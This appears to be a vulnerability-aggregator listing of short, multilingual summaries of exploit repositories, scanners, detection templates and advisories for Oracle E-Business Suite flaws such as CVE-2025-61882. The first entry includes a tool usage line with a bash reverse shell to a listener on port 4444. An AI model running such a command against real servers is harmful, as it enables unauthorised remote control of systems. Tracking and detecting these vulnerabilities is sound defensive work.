watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 向け検出アーティファクト生成ツール 技術的な詳細は、ブログ記事 を参照してください 動作中の検出 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 このリポジトリには、ZeroZenX の研究成果物と、CVE-2025-61882 用の完全に動作するエクスプロイト実装が含まれています。これらは、認可された環境においてのみ、防御研究、インシデント対応、検知エンジニアリング、およびパッチ検証を支援するために提供されています。 重要: このコードは、管理されたラボ環境で使用するセキュリティ専門家、明示的な認可を受けたペネトレーションテスター、および緩和策を検証する必要があるベンダー/運用担当者のみを対象としています。...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 編集：Oracleは新しい脆弱性CVE-2025-61884を開示しました。この脆弱性の検出スクリプトは、このリポジトリまたは元の場所（https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550）にあります。 Oracleのセキュリティアドバイザリからの引用： このセキュリティアラートは、Oracle E-Business...

CVE-2026-46817

🚨 CVE-2026-46817 - 重大なリモートコード実行 Oracle E-Business Suite – Oracle Payments ファイル転送 Oracle Payments（ファイル転送）に影響する重要な未認証リモート脆弱性であり、HTTP経由でアプリケーションを完全に侵害される可能性があります。 📌 概要 CVE-2026-46817 は、Oracle E-Business Suite の Oracle Payments コンポーネントにおける重大な 脆弱性です。この欠陥は ファイル転送 機能に影響し、認証なしでリモートからHTTP経由 で悪用される可能性があります...

Oracle E-Business Suite <=12.2 - Authentication Bypass

Oracle E-Business Suite component: Manage Proxies 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in...

Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect

The Oracle Applications Framework component of Oracle E-Business Suite subcomponent: Popup windows lists of values, datepicker, etc. is impacted by open redirect issues in versions 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers...

CVE-2025-53072-CVE-2025-62481

CVE-2025-53072 & CVE-2025-62481 Oracle E-Business SuiteのOracle Marketing製品における脆弱性（コンポーネント：マーケティング管理）。 この検出方法はどのように機能しますか？ このNucleiテンプレートは、サーバーのLast-Modifiedヘッダーが2025年10月21日（パッチ適用日）より前のビルド日時を示しているかを確認し、E-Business Suiteのホームページコンテンツと200ステータス応答を識別することと組み合わせて、CVE-2025-53072およびCVE-2025-62481に対して脆弱なOrac...

Enterprise-Information-Security-Risk-Assessment-Oracle-E-Business-Suite-Case-Study

情報セキュリティ:GDPR コンプライアンス & インシデントレスポンス 高リスクの生体認証監視システムCCTV、顔認識技術、集中型コンタクトトレーシング向けの包括的なセキュリティおよびプライバシーコンプライアンスフレームワーク。フレームワーク比較分析ISO 27001、Cyber Essentials、NIST CSF 2.0、COBITと、2025年のOracle E-Business Suite CVE-2025-61882侵害を分析した詳細なインシデントレスポンスケーススタディを含む。 目次 プロジェクト概要 第1章:データ保護コンプライアンス...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Oracle E-Business Suite の認証不要リモートコード実行 CVSS 9.8 クリティカル 概要 CVE-2025-61882 は、Oracle E-Business Suite EBS における認証不要のリモートコード実行脆弱性であり、Concurrent Processing および BI Publisher コンポーネントに影響します。この欠陥により、認証されていない攻撃者が HTTP を介したネットワークアクセスによって対象システムを完全に侵害することが可能です。本脆弱性は、Clop...

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Oracle E-Business Suite 预认证远程代码执行漏洞利用 Oracle E-Business Suite（版本 12.2.3–12.2.14）中存在一个严重的预认证远程代码执行（RCE）漏洞，攻击者可通过恶意 HTTP 请求完全控制易受攻击的服务器——该漏洞目前已在野外被积极利用。 摘要 CVE-2025-61882 是 Oracle E-Business Suite（EBS） 中的一个严重预认证 RCE 漏洞，已被勒索/数据窃取活动积极利用。受影响版本：12.2.3 → 12.2.14 。Oracle 发布了紧急公告，包含 IOC（I...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse 检测 Oracle E-Business Suite（CVE-2025-61882）。检测方式：多层检查——指纹识别、版本检查、端点与 SSRF 测试、时序分析及受控利用，共 4 项高置信度结果。默认仅执行安全的指纹识别。设置 aggressive=true 可启用主动/探测检查，请谨慎使用。由 BattalionX 提供 [email protected]...

Blackash-CVE-2025-61882

🛡️🚨 CVE‑2025‑61882 — Oracle E‑Business Suite EBS 中的严重预认证远程代码执行漏洞 🚨🛡️ 简要概述：Oracle E‑Business Suite EBS 中存在严重的预认证远程代码执行漏洞 — 影响 12.2.3 → 12.2.14 版本，CVSS 评分为 9.8 ，已在野外被积极利用（据报道存在勒索/敲诈活动）。oracle.com1 📌 快速事实（表格） 字段| 详情 ---|--- 🆔 CVE| CVE‑2025‑61882 🧾 产品 / 组件| Oracle E‑Business Suite EBS — 并发处理 / BI...

Blackash-CVE-2025-61884

CVE-2025-61884 Nuevo fallo en Oracle E-Business Suite podría permitir a los hackers acceder a datos sin iniciar sesión 💀 CVE-2025-61884 — Resumen completo 🧾💥...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 編集: Oracle は新しい脆弱性 CVE-2025-61884 を開示しました。この脆弱性の検出スクリプトは、このリポジトリまたは元の場所https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550 にあります。 以下は Oracle のセキュリティアドバイザリ からの引用です： このセキュリティ・アラートは、Oracle E-Business Suite の脆弱性 CVE-2025-61882...

CVE-2025-61882

Oracle E-Business Suite RCE 扫描器 CVE-2025-61882 一个快速、多线程的批量扫描器，用于检测 Oracle E-Business Suite 安装中的 CVE-2025-61882。该严重漏洞允许未经身份验证的远程代码执行。 🎯 功能特性 批量扫描 - 从文件中处理数百或数千个目标 多线程 - 可配置的并发扫描（默认：20 个线程） 自动检测 - 通过执行 id 命令并解析输出来验证 RCE 实时结果 - 易受攻击的目标会立即写入 vuln-output.txt 随机端口 - 为每个目标使用随机端口（2000-9999）以避免冲突 简洁输出...

Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution

Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a...

Oracle E-Business Suite (August 2026 CSPU)

The versions of Oracle E-Business Suite installed on the remote host are affected by multiple vulnerabilities as referenced in the August 2026 CSPU advisory. - Vulnerability in the Oracle Payments product of Oracle E-Business Suite component: File Transmission. Supported versions that are affecte...

CVE-2026-61231

creationtimestamp| type| source ---|---|--- 2026-08-19 17:18:55+00:00| seen| https://www.acn.gov.it/portale/w/critical-patch-update-di-oracle-10 2026-08-23 01:07:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mtplyjd3a62y...

vulnerabilities present in Oracle E-Business Suite

Oracle has identified vulnerabilities in various components of the Oracle E-Business Suite, including General Ledger, Payments, Workflow, Sales, Purchasing, Call Center Technology, and other modules within versions 12.2.3 through 12.2.15. These vulnerabilities enable attackers with low to high...

CVE-2026-71104

Vulnerability in the Oracle HRMS Netherlands product of Oracle E-Business Suite component: Netherlands Payroll. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle HRMS...